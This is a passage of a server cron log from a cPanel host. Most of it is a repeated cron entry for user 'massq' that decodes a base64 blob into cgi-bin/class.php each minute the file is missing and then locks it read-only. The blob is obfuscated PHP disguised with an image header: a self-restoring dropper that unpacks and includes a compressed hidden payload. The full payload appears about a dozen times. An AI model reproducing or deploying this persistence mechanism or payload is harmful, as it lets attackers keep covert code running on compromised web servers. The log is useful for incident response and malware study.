JRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:37:01 server CROND[433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:37:01 server CROND[432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:38:01 server CROND[834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:38:01 server CROND[835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:38:01 server CROND[836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:39:01 server CROND[1299]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 00:39:01 server CROND[1300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:39:01 server CROND[1302]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:39:01 server CROND[1301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:40:01 server CROND[1788]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 00:40:01 server CROND[1792]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 00:40:01 server CROND[1795]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 00:40:01 server CROND[1796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:40:01 server CROND[1797]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 00:40:01 server CROND[1800]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 00:40:01 server CROND[1798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:40:01 server CROND[1799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:41:01 server CROND[2670]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:41:01 server CROND[2671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:41:01 server CROND[2672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:42:01 server CROND[3212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:42:01 server CROND[3213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:42:01 server CROND[3214]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 00:42:01 server CROND[3215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:43:01 server CROND[4012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:43:01 server CROND[4013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:43:01 server CROND[4014]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:44:01 server CROND[4382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:44:01 server CROND[4383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:44:01 server CROND[4384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:45:01 server CROND[4854]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 00:45:01 server CROND[4855]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 00:45:01 server CROND[4856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:45:01 server CROND[4857]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 00:45:01 server CROND[4860]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:45:01 server CROND[4862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:45:01 server CROND[4864]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 00:46:01 server CROND[5694]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:46:01 server CROND[5693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:46:01 server CROND[5695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:47:01 server CROND[6069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:47:01 server CROND[6070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:47:01 server CROND[6071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:48:01 server CROND[6491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:48:01 server CROND[6492]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:48:01 server CROND[6493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:49:01 server CROND[6870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:49:01 server CROND[6872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:49:01 server CROND[6871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:50:01 server CROND[7346]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 00:50:01 server CROND[7347]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
